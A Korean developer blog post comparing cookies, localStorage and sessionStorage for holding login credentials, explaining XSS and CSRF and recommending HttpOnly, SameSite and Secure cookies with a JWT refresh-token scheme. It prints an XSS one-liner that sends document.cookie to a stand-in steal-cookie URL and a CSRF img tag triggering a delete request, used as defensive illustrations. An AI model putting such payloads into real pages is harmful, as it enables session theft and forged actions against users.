로그인 기능을 구현하던 도중 사용자 인가 정보 저장에 대한 필요성이 생겼다. 그에 따라 브라우저가 제공하는 기능에는 뭐가 있고 해당 기능들의 장단점에 대해 알아보았다.
로그인 기능을 구현하던 도중 사용자 인가 정보 저장에 대한 필요성이 생겼고, 그에 따라 어떤 옵션들이 있고 해당 옵션들의 장단점에 대해 알아보았다.
HTTP 프로토콜의 중요한 특징 중 하나는 Stateless(무상태성)이라는 것이다. 무상태성이란 서버가 클라이언트의 상태 정보를 저장하지 않는다는 것을 의미한다. 즉 클라이언트가 연속적으로 서버에 요청을 보내도 서버는 요청간에 관계를 알지 못한다는 것. 이는 서버의 확장성에는 큰 장점이 있지만 로그인과 같은 상태 유지가 필요한 기능에서 한계를 가지고 있다. 이를 보안하기 위해 추가된 것이 쿠키다.
브라우저 쿠키는 서버
가 사용자의 브라우저
에 전송하는 키-값 구조의 작은 크기의 문자열이다 (최대 4KB). 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 Cookie
헤더에 담아 전송한다.
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
쿠키는 Set-Cookie
헤더를 사용하여 설정되며 이는 웹 서버의 HTTP 응답을 통해 송신된다. 이 헤더는 웹 브라우저가 쿠키를 저장하고 이를 차기 서버 요청 시 송신할지를 지시한다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
쿠키는 만료기간에 따라 세션 쿠키와 영속 쿠키로 나뉘게 된다.
Expires
속성에 명시된 날짜에 삭제되거나, Max-Age
속성에 명시된 기간 이후에 삭제된다.웹스토리지는 HTML5 부터 등장한 기능으로 쿠키와 동일한 키-값 구조의 문자열 저장공간이다. 캐시에 비해 넉넉한 5MB 의 저장 용량을 가지고 있고 요청마다 헤더에 포함되어 전송되지 않는다는 특징을 가지고 있다. 또한 도메인, 브라우저 범위로 데이터가 저장된다.
앞서 말했듯이 웹 스토리지는 문자열만 저장할 수 있기 때문에 객체를 저장하기 위해서는 JSON 타입의 객체를 문자열으로 직렬화 해서 저장한다.
// 객체 -> 문자열로 직렬화
localStorage.setItem('json', JSON.stringify({a: 1, b: 2}))
// 문자 -> 객체로 역직렬화
JSON.parse(localStorage.getItem('json'))
웹 스토리지에는 로컬 스토리지와 세션 스토리지가 있고 차이점은 다음과 같다.
웹 스토리지 기능이 현재 브라우저 세션에서 지원되고 사용가능한지 확인해야한다. 아래는 MDN에서 제공하는 localStorage 기능 지원 감지 코드로 여러가지 예외 상황에 대해 감지하도록 설계 되어 있다.
function storageAvailable(type) {
var storage;
try {
storage = window[type];
var x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// Firefox를 제외한 모든 브라우저
e.code === 22 ||
// Firefox
e.code === 1014 ||
// 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
// Firefox를 제외한 모든 브라우저
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
(storage && storage.length !== 0);
}
}
if (storageAvailable('localStorage')) {
// localStorage를 사용할 수 있습니다.
}
else {
// localStorage를 사용할 수 없습니다.
}
storageAvailable('sessionStorage')
를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있다고 한다.
쿠키와 웹 스토리지에 민감한 정보를 저장하고 전송할 때 마주하는 대표적인 문제들에 대해서 알아보았다.
XSS(교차 사이트 스크립팅)는 공격자가 웹 사이트에 악의적인 코드를 주입하는 기법이다. XSS 관련 공격의 종류는 셀 수 없이 많지만 일반적으로 세션과 토큰과 같이 개인 정보를 탈취해 공격자에게 전송하거나, 공격자가 조작하고 있는 웹사이트로 리다이렉트 시키는 등의 방식을 사용한다.
XSS 공격은 크게 세가지 카테고리로 분류 할 수 있다 :
(new Image()).src = "http://www.example.com/steal-cookie.php?cookie=" + document.cookie;
CSRF(교차 사이트 요청 위조)는 공격자가 신뢰할 수 있는 사용자를 사칭하고 웹 사이트에 원치 않는 명령을 보내는 공격이다. 즉, 특정 웹서버가 사용자의 웹브라우저를 신용하는 상태를 노리는 것.
예를 들어, 공격자가 아래와 같이 악의적인 URL 파라미터를 가진 요소를 삽입했다고 하자.
<img src="https://www.example.com/index.php?action=delete&id=123" />
수정 권한이 있는 사용자의 경우, <img>
요소는 화면에 보이지 않더라도 사용자도 모르는 사이 HTML이 로드되면서 실행된다.
XSS | CSRF | |
---|---|---|
개요 | 악성 코드가 클라이언트에서 실행됨 | 권한을 도용당한 클라이언트가 가까 요청을 서버에 전송 |
공격 대상 | 클라이언트 | 서버 |
목적 | 세션 탈취, 웹사이트 변조 | 권한 도용 |
각 저장 방법들의 단점과 해결방법 그리고 사용하면 좋을 기능들에 대해 정리해 보았다.
문제점 |
---|
페이지를 이동하거나 새로고침만 해도 정보가 휘발됨 |
→ 가장 보안적으로 뛰어난 방식이지만 위의 문제로 단독으로 사용하기엔 사용자 경험에 문제가 생김.
문제점 |
---|
XSS 공격에 취약함 |
독립된 스토리지로 브라우저 및 탭(세션) 간에 공유가 불가함 |
만료기간 설정이 불가함 |
동기적으로 실행되어 메인 스레드 블로킹 발생함 |
→ 웹 사이트 전체 XSS 취약점을 최대한 예방하면 웹 스토리지도 조금 더 안전해진다. 따라서 사용자의 입력이 자바스크립트 코드로 실행될 수 있는 코드들은 최대한 사용하지 않는다.
( e.g. innerHTML
, eval
, document.write
)
→ 따라서 웹 스토리지에 민감한 정보를 저장하는 것은 최대한 지양하고 다음과 같은 용도로 사용하는 것을 추천함:
문제점 |
---|
CSRF 공격에 취약함 |
XSS 공격에 취약함 |
저장용량이 부족함 |
HTTP 요청시 자동으로 모든 쿠키가 전송됨 |
→ 옵션 없이 기본적으로 작동되는 쿠키는 사실 XSS, CSRF 공격에 모두 취약함.
→ 하지만 다음과 같은 쿠키 설정을 통해 해당 취약점들을 최대한 보완할 수 있음:
HttpOnly
설정을 통해 쿠키를 자바스크립트 코드 상에서 접근이 불가해지고, HTTP 요청에만 포함되어 보내진다.SameSite
설정을 통해 같은 도메인의 요청에만 쿠키를 전송하게 할 수 있다. 해당 설정에서 선택할 수 있는 옵션으로는 세 가지가 있다.None
: 설정하기전과 같은 방식으로 동작함.Strict
: 크로스 사이트 요청에는 항상 전송되지 않음.Lax
: 크로스 사이트 요청 중 안전한 HTTP 요청에만 전송함.<a>
태그, 302
리다이렉트, window.location.replace
등을 이용한 요청을 말함.secure
설정을 통해 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않음.Set-Cookie: 쿠키명=쿠키값; HttpOnly; SameSite=Lax; Secure
앞서 비교한 저장 방법들을 토대로 만약에 JWT 토큰을 사용한 로그인을 구현한다고 했을 때 안전하다고 생각되는 방법은 다음과 같다:
access token
는 페이로드, refresh token
는 쿠키 헤더에 httpOnly
/ secure
/ SameSite
옵션과 함께 저장한 뒤 응답한다.access token
을 메모리(변수)에 저장한다.Authorization
헤더에 access token
을 담아 보내준다.access token
이 만료되었거나, 페이지 이동으로 사라졌을 시, 렌더링 과정 혹은 API 통신을 통해 재발급을 요청한다. 이 때 refresh token
이 이미 쿠키에 담겨진 상태로 서버와 통신하게 된다.refresh token
역시 만료되어 있으면 클라이언트는 사용자를 로그아웃 시킨다.[10분 테코톡] 🦄 디토의 웹스토리지 & 쿠키
HTTP 쿠키 - HTTP | MDN
Web Storage API 사용하기 - Web API | MDN
Types of attacks - Web security | MDN
HTTP 쿠키
우아한테크코스 학습로그 저장소
🍪 프론트에서 안전하게 로그인 처리하기 (ft. React)